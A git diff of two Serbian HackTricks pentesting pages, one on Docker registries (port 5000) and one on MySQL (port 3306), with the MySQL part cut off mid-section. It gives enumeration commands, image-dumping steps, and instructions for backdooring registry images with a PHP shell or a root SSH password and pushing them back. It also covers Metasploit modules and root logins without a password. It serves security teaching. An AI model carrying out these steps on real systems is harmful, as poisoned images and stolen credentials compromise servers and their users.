* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||||
|
|
||||||
|
</details>
|
|
@ -9,7 +9,7 @@ Drugi načini podrške HackTricks-u:
|
||||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)!
|
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)!
|
||||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
@ -21,18 +21,24 @@ Sistem za skladištenje i distribuciju poznat kao **Docker registar** je postavl
|
||||||
**DockerHub** služi kao podrazumevani javni registar za Docker, ali korisnici takođe imaju opciju da koriste lokalnu verziju open-source Docker registra/distribucije ili se odluče za komercijalno podržani **Docker Trusted Registry**. Dodatno, mogu se pronaći razni drugi javni registri online.
|
**DockerHub** služi kao podrazumevani javni registar za Docker, ali korisnici takođe imaju opciju da koriste lokalnu verziju open-source Docker registra/distribucije ili se odluče za komercijalno podržani **Docker Trusted Registry**. Dodatno, mogu se pronaći razni drugi javni registri online.
|
||||||
|
|
||||||
Za preuzimanje slike sa lokalnog registra, koristi se sledeća komanda:
|
Za preuzimanje slike sa lokalnog registra, koristi se sledeća komanda:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
docker pull my-registry:9000/foo/bar:2.1
|
docker pull my-registry:9000/foo/bar:2.1
|
||||||
```
|
```
|
||||||
|
|
||||||
Ova komanda preuzima sliku `foo/bar` verzije `2.1` sa on-premise registra na domenu `my-registry` na portu `9000`. Nasuprot tome, da biste preuzeli istu sliku sa DockerHub-a, posebno ako je `2.1` najnovija verzija, komanda se pojednostavljuje na:
|
Ova komanda preuzima sliku `foo/bar` verzije `2.1` sa on-premise registra na domenu `my-registry` na portu `9000`. Nasuprot tome, da biste preuzeli istu sliku sa DockerHub-a, posebno ako je `2.1` najnovija verzija, komanda se pojednostavljuje na:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
docker pull foo/bar
|
docker pull foo/bar
|
||||||
```
|
```
|
||||||
|
|
||||||
**Podrazumevani port:** 5000
|
**Podrazumevani port:** 5000
|
||||||
|
|
||||||
```
|
```
|
||||||
PORT STATE SERVICE VERSION
|
PORT STATE SERVICE VERSION
|
||||||
5000/tcp open http Docker Registry (API: 2.0)
|
5000/tcp open http Docker Registry (API: 2.0)
|
||||||
```
|
```
|
||||||
|
|
||||||
## Otkrivanje
|
## Otkrivanje
|
||||||
|
|
||||||
Najlakši način da otkrijete da li ovaj servis radi je da ga pronađete u izlazu nmap-a. U svakom slučaju, imajte na umu da budući da je ovo HTTP baziran servis, može biti iza HTTP proxy-ja i nmap ga neće otkriti.\
|
Najlakši način da otkrijete da li ovaj servis radi je da ga pronađete u izlazu nmap-a. U svakom slučaju, imajte na umu da budući da je ovo HTTP baziran servis, može biti iza HTTP proxy-ja i nmap ga neće otkriti.\
|
||||||
|
@ -49,6 +55,7 @@ Neki otisci:
|
||||||
### HTTP/HTTPS
|
### HTTP/HTTPS
|
||||||
|
|
||||||
Docker registar može biti konfigurisan da koristi **HTTP** ili **HTTPS**. Dakle, prva stvar koju možda trebate uraditi je **pronaći koji je** konfigurisan:
|
Docker registar može biti konfigurisan da koristi **HTTP** ili **HTTPS**. Dakle, prva stvar koju možda trebate uraditi je **pronaći koji je** konfigurisan:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
curl -s http://10.10.10.10:5000/v2/_catalog
|
curl -s http://10.10.10.10:5000/v2/_catalog
|
||||||
#If HTTPS
|
#If HTTPS
|
||||||
|
@ -59,9 +66,11 @@ Warning: <FILE>" to save to a file.
|
||||||
#If HTTP
|
#If HTTP
|
||||||
{"repositories":["alpine","ubuntu"]}
|
{"repositories":["alpine","ubuntu"]}
|
||||||
```
|
```
|
||||||
|
|
||||||
### Autentikacija
|
### Autentikacija
|
||||||
|
|
||||||
Docker registar takođe može biti konfigurisan da zahteva **autentikaciju**:
|
Docker registar takođe može biti konfigurisan da zahteva **autentikaciju**:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
curl -k https://192.25.197.3:5000/v2/_catalog
|
curl -k https://192.25.197.3:5000/v2/_catalog
|
||||||
#If Authentication required
|
#If Authentication required
|
||||||
|
@ -69,14 +78,18 @@ curl -k https://192.25.197.3:5000/v2/_catalog
|
||||||
#If no authentication required
|
#If no authentication required
|
||||||
{"repositories":["alpine","ubuntu"]}
|
{"repositories":["alpine","ubuntu"]}
|
||||||
```
|
```
|
||||||
|
|
||||||
Ako Docker Registry zahteva autentifikaciju, možete **pokušati da je probijete koristeći ovo**.\
|
Ako Docker Registry zahteva autentifikaciju, možete **pokušati da je probijete koristeći ovo**.\
|
||||||
**Ako pronađete validne akreditive, moraćete da ih koristite** za enumeraciju registra, u `curl`-u ih možete koristiti na sledeći način:
|
**Ako pronađete validne akreditive, moraćete da ih koristite** za enumeraciju registra, u `curl`-u ih možete koristiti na sledeći način:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
curl -k -u username:password https://10.10.10.10:5000/v2/_catalog
|
curl -k -u username:password https://10.10.10.10:5000/v2/_catalog
|
||||||
```
|
```
|
||||||
|
|
||||||
### Enumeracija korišćenjem DockerRegistryGrabber
|
### Enumeracija korišćenjem DockerRegistryGrabber
|
||||||
|
|
||||||
[DockerRegistryGrabber](https://github.com/Syzik/DockerRegistryGrabber) je Python alatka za enumeraciju / ispisivanje docker registra (bez ili sa osnovnom autentifikacijom)
|
[DockerRegistryGrabber](https://github.com/Syzik/DockerRegistryGrabber) je Python alatka za enumeraciju / ispisivanje docker registra (bez ili sa osnovnom autentifikacijom)
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
usage: drg.py [-h] [-p port] [-U USERNAME] [-P PASSWORD] [-A header] [--list | --dump_all | --dump DOCKERNAME] url
|
usage: drg.py [-h] [-p port] [-U USERNAME] [-P PASSWORD] [-A header] [--list | --dump_all | --dump DOCKERNAME] url
|
||||||
|
|
||||||
|
@ -150,9 +163,11 @@ python3 DockerGraber.py http://127.0.0.1 --dump_all
|
||||||
[+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6
|
[+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6
|
||||||
[+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888
|
[+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888
|
||||||
```
|
```
|
||||||
|
|
||||||
### Enumeracija korišćenjem curl-a
|
### Enumeracija korišćenjem curl-a
|
||||||
|
|
||||||
Jednom kada **ste dobili pristup docker registru**, evo nekih komandi koje možete koristiti za enumeraciju:
|
Jednom kada **ste dobili pristup docker registru**, evo nekih komandi koje možete koristiti za enumeraciju:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
#List repositories
|
#List repositories
|
||||||
curl -s http://10.10.10.10:5000/v2/_catalog
|
curl -s http://10.10.10.10:5000/v2/_catalog
|
||||||
|
@ -215,11 +230,13 @@ curl http://10.10.10.10:5000/v2/ubuntu/blobs/sha256:2a62ecb2a3e5bcdbac8b6edc58fa
|
||||||
#Inspect the insides of each blob
|
#Inspect the insides of each blob
|
||||||
tar -xf blob1.tar #After this,inspect the new folders and files created in the current directory
|
tar -xf blob1.tar #After this,inspect the new folders and files created in the current directory
|
||||||
```
|
```
|
||||||
|
|
||||||
{% hint style="warning" %}
|
{% hint style="warning" %}
|
||||||
Imajte na umu da će se prilikom preuzimanja i dekompresovanja datoteka i fascikli pojaviti u trenutnom direktorijumu. **Ako preuzmete sve datoteke i dekompresujete ih u istoj fascikli, one će prepisati vrednosti iz prethodno dekompresovanih datoteka**, zato budite oprezni. Može biti zanimljivo dekompresovati svaku datoteku unutar različite fascikle kako biste pregledali tačan sadržaj svake datoteke.
|
Imajte na umu da će se prilikom preuzimanja i dekompresovanja datoteka i fascikli pojaviti u trenutnom direktorijumu. **Ako preuzmete sve datoteke i dekompresujete ih u istoj fascikli, one će prepisati vrednosti iz prethodno dekompresovanih datoteka**, zato budite oprezni. Može biti zanimljivo dekompresovati svaku datoteku unutar različite fascikle kako biste pregledali tačan sadržaj svake datoteke.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### Enumeracija korišćenjem Docker-a
|
### Enumeracija korišćenjem Docker-a
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
#Once you know which images the server is saving (/v2/_catalog) you can pull them
|
#Once you know which images the server is saving (/v2/_catalog) you can pull them
|
||||||
docker pull 10.10.10.10:5000/ubuntu
|
docker pull 10.10.10.10:5000/ubuntu
|
||||||
|
@ -238,6 +255,7 @@ docker run -it 10.10.10.10:5000/ubuntu bash #Leave this shell running
|
||||||
docker ps #Using a different shell
|
docker ps #Using a different shell
|
||||||
docker exec -it 7d3a81fe42d7 bash #Get ash shell inside docker container
|
docker exec -it 7d3a81fe42d7 bash #Get ash shell inside docker container
|
||||||
```
|
```
|
||||||
|
|
||||||
### Postavljanje zadnjih vrata na WordPress sliku
|
### Postavljanje zadnjih vrata na WordPress sliku
|
||||||
|
|
||||||
U scenariju u kojem ste pronašli Docker Registry koji čuva WordPress sliku, možete postaviti zadnja vrata.\
|
U scenariju u kojem ste pronašli Docker Registry koji čuva WordPress sliku, možete postaviti zadnja vrata.\
|
||||||
|
@ -260,44 +278,37 @@ RUN chmod 777 /app/shell.php
|
||||||
{% endcode %}
|
{% endcode %}
|
||||||
|
|
||||||
**Napravite** novu sliku, **proverite** da li je kreirana, i **pošaljite** je:
|
**Napravite** novu sliku, **proverite** da li je kreirana, i **pošaljite** je:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
docker build -t 10.10.10.10:5000/wordpress .
|
docker build -t 10.10.10.10:5000/wordpress .
|
||||||
#Create
|
#Create
|
||||||
docker images
|
docker images
|
||||||
docker push registry:5000/wordpress #Push it
|
docker push registry:5000/wordpress #Push it
|
||||||
```
|
```
|
||||||
|
|
||||||
### Postavljanje zadnjih vrata na SSH serversku sliku
|
### Postavljanje zadnjih vrata na SSH serversku sliku
|
||||||
|
|
||||||
Pretpostavimo da ste pronašli Docker Registry sa SSH slikom i želite da je postavite zadnjim vratima.\
|
Pretpostavimo da ste pronašli Docker Registry sa SSH slikom i želite da je postavite zadnjim vratima.\
|
||||||
**Preuzmite** sliku i **pokrenite** je:
|
**Preuzmite** sliku i **pokrenite** je:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
docker pull 10.10.10.10:5000/sshd-docker-cli
|
docker pull 10.10.10.10:5000/sshd-docker-cli
|
||||||
docker run -d 10.10.10.10:5000/sshd-docker-cli
|
docker run -d 10.10.10.10:5000/sshd-docker-cli
|
||||||
```
|
```
|
||||||
|
|
||||||
Izvucite `sshd_config` fajl iz SSH slike:
|
Izvucite `sshd_config` fajl iz SSH slike:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
docker cp 4c989242c714:/etc/ssh/sshd_config .
|
docker cp 4c989242c714:/etc/ssh/sshd_config .
|
||||||
```
|
```
|
||||||
|
|
||||||
I izmenite ga da biste postavili: `PermitRootLogin yes`
|
I izmenite ga da biste postavili: `PermitRootLogin yes`
|
||||||
|
|
||||||
Napravite **Dockerfile** kao u sledećem primeru:
|
Napravite **Dockerfile** kao u sledećem primeru:
|
||||||
|
|
||||||
{% tabs %}
|
|
||||||
{% tab title="Dockerfile" %}
|
|
||||||
```bash
|
\`\`\`bash FROM 10.10.10.10:5000/sshd-docker-cli COPY sshd\_config /etc/ssh/ RUN echo root:password | chpasswd \`\`\` \*\*Napravite\*\* novu sliku, \*\*proverite\*\* da li je kreirana, i \*\*pošaljite\*\* je: \`\`\`bash docker build -t 10.10.10.10:5000/sshd-docker-cli . #Create docker images docker push registry:5000/sshd-docker-cli #Push it \`\`\` ## Reference \* \[https://www.aquasec.com/cloud-native-academy/docker-container/docker-registry/]\(https://www.aquasec.com/cloud-native-academy/docker-container/docker-registry/)
|
||||||
FROM 10.10.10.10:5000/sshd-docker-cli
|
|
||||||
COPY sshd_config /etc/ssh/
|
|
||||||
RUN echo root:password | chpasswd
|
|
||||||
```
|
|
||||||
**Napravite** novu sliku, **proverite** da li je kreirana, i **pošaljite** je:
|
|
||||||
```bash
|
|
||||||
docker build -t 10.10.10.10:5000/sshd-docker-cli .
|
|
||||||
#Create
|
|
||||||
docker images
|
|
||||||
docker push registry:5000/sshd-docker-cli #Push it
|
|
||||||
```
|
|
||||||
## Reference
|
|
||||||
* [https://www.aquasec.com/cloud-native-academy/docker-container/docker-registry/](https://www.aquasec.com/cloud-native-academy/docker-container/docker-registry/)
|
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
@ -308,7 +319,7 @@ Drugi načini podrške HackTricks-u:
|
||||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -1,5 +1,7 @@
|
||||||
# 3306 - Pentesting Mysql
|
# 3306 - Pentesting Mysql
|
||||||
|
|
||||||
|
## 3306 - Pentesting Mysql
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
@ -9,7 +11,7 @@ Drugi načini podrške HackTricks-u:
|
||||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
@ -20,61 +22,68 @@ Drugi načini podrške HackTricks-u:
|
||||||
|
|
||||||
{% embed url="https://www.rootedcon.com/" %}
|
{% embed url="https://www.rootedcon.com/" %}
|
||||||
|
|
||||||
## **Osnovne informacije**
|
### **Osnovne informacije**
|
||||||
|
|
||||||
**MySQL** se može opisati kao besplatni **Relacioni Sistem Upravljanja Bazama Podataka (RDBMS)** otvorenog koda. Radi na **Structured Query Language (SQL)**, omogućavajući upravljanje i manipulaciju bazama podataka.
|
**MySQL** se može opisati kao besplatni **Relacioni Sistem Upravljanja Bazama Podataka (RDBMS)** otvorenog koda. Radi na **Structured Query Language (SQL)**, omogućavajući upravljanje i manipulaciju bazama podataka.
|
||||||
|
|
||||||
**Podrazumevani port:** 3306
|
**Podrazumevani port:** 3306
|
||||||
|
|
||||||
```
|
```
|
||||||
3306/tcp open mysql
|
3306/tcp open mysql
|
||||||
```
|
```
|
||||||
## **Povezivanje**
|
|
||||||
|
|
||||||
### **Lokalno**
|
### **Povezivanje**
|
||||||
|
|
||||||
|
#### **Lokalno**
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
mysql -u root # Connect to root without password
|
mysql -u root # Connect to root without password
|
||||||
mysql -u root -p # A password will be asked (check someone)
|
mysql -u root -p # A password will be asked (check someone)
|
||||||
```
|
```
|
||||||
### Udaljeni
|
|
||||||
|
|
||||||
#### MySQL
|
#### Udaljeni
|
||||||
|
|
||||||
|
**MySQL**
|
||||||
|
|
||||||
MySQL je popularni open-source sistem za upravljanje bazama podataka koji se često koristi u web aplikacijama. Kao pentester, možete iskoristiti različite tehnike za testiranje sigurnosti MySQL servera.
|
MySQL je popularni open-source sistem za upravljanje bazama podataka koji se često koristi u web aplikacijama. Kao pentester, možete iskoristiti različite tehnike za testiranje sigurnosti MySQL servera.
|
||||||
|
|
||||||
#### Osnovne informacije
|
**Osnovne informacije**
|
||||||
|
|
||||||
Da biste započeli testiranje MySQL servera, prvo morate prikupiti osnovne informacije o serveru. Ove informacije uključuju IP adresu servera, port na kojem MySQL server sluša i verziju MySQL servera.
|
Da biste započeli testiranje MySQL servera, prvo morate prikupiti osnovne informacije o serveru. Ove informacije uključuju IP adresu servera, port na kojem MySQL server sluša i verziju MySQL servera.
|
||||||
|
|
||||||
#### Povezivanje na MySQL server
|
**Povezivanje na MySQL server**
|
||||||
|
|
||||||
Nakon prikupljanja osnovnih informacija, možete se povezati na MySQL server koristeći različite metode. Ove metode uključuju korišćenje MySQL klijenta, kao što je `mysql` komanda, ili korišćenje alata za automatizaciju kao što je Metasploit.
|
Nakon prikupljanja osnovnih informacija, možete se povezati na MySQL server koristeći različite metode. Ove metode uključuju korišćenje MySQL klijenta, kao što je `mysql` komanda, ili korišćenje alata za automatizaciju kao što je Metasploit.
|
||||||
|
|
||||||
#### Sniffing MySQL saobraćaja
|
**Sniffing MySQL saobraćaja**
|
||||||
|
|
||||||
Sniffing MySQL saobraćaja može biti korisno za prikupljanje informacija o komunikaciji između klijenta i servera. Možete koristiti alate kao što su Wireshark ili tcpdump za snimanje i analizu MySQL saobraćaja.
|
Sniffing MySQL saobraćaja može biti korisno za prikupljanje informacija o komunikaciji između klijenta i servera. Možete koristiti alate kao što su Wireshark ili tcpdump za snimanje i analizu MySQL saobraćaja.
|
||||||
|
|
||||||
#### Brute forcing MySQL korisničkih naloga
|
**Brute forcing MySQL korisničkih naloga**
|
||||||
|
|
||||||
Ako imate pristup do MySQL servera, možete pokušati da brute force-ujete korisničke naloge kako biste pronašli slabu lozinku. Možete koristiti alate kao što su Hydra ili Medusa za izvršavanje brute force napada na MySQL server.
|
Ako imate pristup do MySQL servera, možete pokušati da brute force-ujete korisničke naloge kako biste pronašli slabu lozinku. Možete koristiti alate kao što su Hydra ili Medusa za izvršavanje brute force napada na MySQL server.
|
||||||
|
|
||||||
#### SQL Injection
|
**SQL Injection**
|
||||||
|
|
||||||
SQL Injection je česta ranjivost u web aplikacijama koje koriste MySQL bazu podataka. Kroz SQL Injection, napadač može izvršiti zlonamerne SQL upite na MySQL serveru. Možete koristiti alate kao što su sqlmap ili manualno izvršavati SQL Injection napade.
|
SQL Injection je česta ranjivost u web aplikacijama koje koriste MySQL bazu podataka. Kroz SQL Injection, napadač može izvršiti zlonamerne SQL upite na MySQL serveru. Možete koristiti alate kao što su sqlmap ili manualno izvršavati SQL Injection napade.
|
||||||
|
|
||||||
#### Eksploatacija MySQL ranjivosti
|
**Eksploatacija MySQL ranjivosti**
|
||||||
|
|
||||||
Ako pronađete ranjivost u MySQL serveru, možete je eksploatisati kako biste preuzeli kontrolu nad serverom. Ovo može uključivati izvršavanje zlonamernog koda, preuzimanje baze podataka ili izvršavanje privilegovanih komandi na serveru.
|
Ako pronađete ranjivost u MySQL serveru, možete je eksploatisati kako biste preuzeli kontrolu nad serverom. Ovo može uključivati izvršavanje zlonamernog koda, preuzimanje baze podataka ili izvršavanje privilegovanih komandi na serveru.
|
||||||
|
|
||||||
#### Prevencija
|
**Prevencija**
|
||||||
|
|
||||||
Da biste zaštitili MySQL server od napada, preporučuje se primena odgovarajućih sigurnosnih mera. Ove mere uključuju korišćenje jakih lozinki, redovno ažuriranje MySQL servera i implementaciju sigurnosnih pravila za ograničavanje pristupa serveru.
|
Da biste zaštitili MySQL server od napada, preporučuje se primena odgovarajućih sigurnosnih mera. Ove mere uključuju korišćenje jakih lozinki, redovno ažuriranje MySQL servera i implementaciju sigurnosnih pravila za ograničavanje pristupa serveru.
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
mysql -h <Hostname> -u root
|
mysql -h <Hostname> -u root
|
||||||
mysql -h <Hostname> -u root@localhost
|
mysql -h <Hostname> -u root@localhost
|
||||||
```
|
```
|
||||||
## Spoljna enumeracija
|
|
||||||
|
### Spoljna enumeracija
|
||||||
|
|
||||||
Neke od akcija enumeracije zahtevaju validne akreditive.
|
Neke od akcija enumeracije zahtevaju validne akreditive.
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
nmap -sV -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122 <IP>
|
nmap -sV -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122 <IP>
|
||||||
msf> use auxiliary/scanner/mysql/mysql_version
|
msf> use auxiliary/scanner/mysql/mysql_version
|
||||||
|
@ -84,14 +93,18 @@ msf> use auxiliary/admin/mysql/mysql_enum #Creds
|
||||||
msf> use auxiliary/scanner/mysql/mysql_schemadump #Creds
|
msf> use auxiliary/scanner/mysql/mysql_schemadump #Creds
|
||||||
msf> use exploit/windows/mysql/mysql_start_up #Execute commands Windows, Creds
|
msf> use exploit/windows/mysql/mysql_start_up #Execute commands Windows, Creds
|
||||||
```
|
```
|
||||||
### [**Brute force**](../generic-methodologies-and-resources/brute-force.md#mysql)
|
|
||||||
|
|
||||||
### Napišite bilo koje binarne podatke
|
#### [**Brute force**](../generic-methodologies-and-resources/brute-force.md#mysql)
|
||||||
|
|
||||||
|
#### Napišite bilo koje binarne podatke
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
CONVERT(unhex("6f6e2e786d6c55540900037748b75c7249b75"), BINARY)
|
CONVERT(unhex("6f6e2e786d6c55540900037748b75c7249b75"), BINARY)
|
||||||
CONVERT(from_base64("aG9sYWFhCg=="), BINARY)
|
CONVERT(from_base64("aG9sYWFhCg=="), BINARY)
|
||||||
```
|
```
|
||||||
## **MySQL komande**
|
|
||||||
|
### **MySQL komande**
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
show databases;
|
show databases;
|
||||||
use <database>;
|
use <database>;
|
||||||
|
@ -128,27 +141,29 @@ quit;
|
||||||
mysql -u username -p < manycommands.sql #A file with all the commands you want to execute
|
mysql -u username -p < manycommands.sql #A file with all the commands you want to execute
|
||||||
mysql -u root -h 127.0.0.1 -e 'show databases;'
|
mysql -u root -h 127.0.0.1 -e 'show databases;'
|
||||||
```
|
```
|
||||||
### Prikupljanje informacija o dozvolama u MySQL-u
|
|
||||||
|
#### Prikupljanje informacija o dozvolama u MySQL-u
|
||||||
|
|
||||||
Da biste izvršili pentestiranje MySQL baze podataka, prvo morate prikupiti informacije o dozvolama koje su dodijeljene korisnicima. Ove informacije će vam pomoći da identifikujete slabosti u konfiguraciji i pristupate podacima na neovlašćen način.
|
Da biste izvršili pentestiranje MySQL baze podataka, prvo morate prikupiti informacije o dozvolama koje su dodijeljene korisnicima. Ove informacije će vam pomoći da identifikujete slabosti u konfiguraciji i pristupate podacima na neovlašćen način.
|
||||||
|
|
||||||
#### 1. Prikupljanje informacija o korisnicima
|
**1. Prikupljanje informacija o korisnicima**
|
||||||
|
|
||||||
Prvo, koristite SQL upit `SELECT user FROM mysql.user;` da biste dobili listu svih korisnika u bazi podataka. Ovaj upit će vam prikazati korisnička imena koja možete dalje istraživati.
|
Prvo, koristite SQL upit `SELECT user FROM mysql.user;` da biste dobili listu svih korisnika u bazi podataka. Ovaj upit će vam prikazati korisnička imena koja možete dalje istraživati.
|
||||||
|
|
||||||
#### 2. Prikupljanje informacija o privilegijama
|
**2. Prikupljanje informacija o privilegijama**
|
||||||
|
|
||||||
Zatim, koristite SQL upit `SHOW GRANTS FOR 'korisnicko_ime'@'localhost';` da biste dobili informacije o privilegijama koje su dodijeljene određenom korisniku. Zamijenite `'korisnicko_ime'` sa stvarnim korisničkim imenom koje želite istražiti.
|
Zatim, koristite SQL upit `SHOW GRANTS FOR 'korisnicko_ime'@'localhost';` da biste dobili informacije o privilegijama koje su dodijeljene određenom korisniku. Zamijenite `'korisnicko_ime'` sa stvarnim korisničkim imenom koje želite istražiti.
|
||||||
|
|
||||||
#### 3. Prikupljanje informacija o privilegijama za sve korisnike
|
**3. Prikupljanje informacija o privilegijama za sve korisnike**
|
||||||
|
|
||||||
Ako želite dobiti informacije o privilegijama za sve korisnike odjednom, koristite SQL upit `SELECT user, host, authentication_string FROM mysql.user;`. Ovaj upit će vam prikazati korisnička imena, hostove i autentifikacijske stringove za sve korisnike.
|
Ako želite dobiti informacije o privilegijama za sve korisnike odjednom, koristite SQL upit `SELECT user, host, authentication_string FROM mysql.user;`. Ovaj upit će vam prikazati korisnička imena, hostove i autentifikacijske stringove za sve korisnike.
|
||||||
|
|
||||||
#### 4. Prikupljanje informacija o privilegijama za baze podataka
|
**4. Prikupljanje informacija o privilegijama za baze podataka**
|
||||||
|
|
||||||
